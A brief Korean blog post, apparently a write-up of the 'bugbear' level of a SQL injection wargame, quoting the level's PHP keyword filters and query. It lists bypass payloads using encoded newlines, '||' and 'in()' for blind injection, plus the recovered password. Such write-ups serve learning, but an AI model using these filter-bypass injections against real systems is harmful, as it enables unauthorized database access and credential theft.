언우s 2018. 4. 11. 10:12

13. Bugbear

if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 

pw 에서 필터링
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 

no 에서 ‘, substr, ascii, =, or, and, like, 0x, 스페이스바 필터링
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 

$_GET[pw] = addslashes($_GET[pw]); 
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 

pw 맞춰야 한다.-> 블라인드 인젝션

like 우회 -> in

?no=-1%0a||%0aid%0ain("admin") -> ?no=-1 or id in(“admin”)


?no=-1%0a||%0alength(pw)%0ain("8") -> ?no=-1 or length(pw) in(“8”)

?pw=735c2773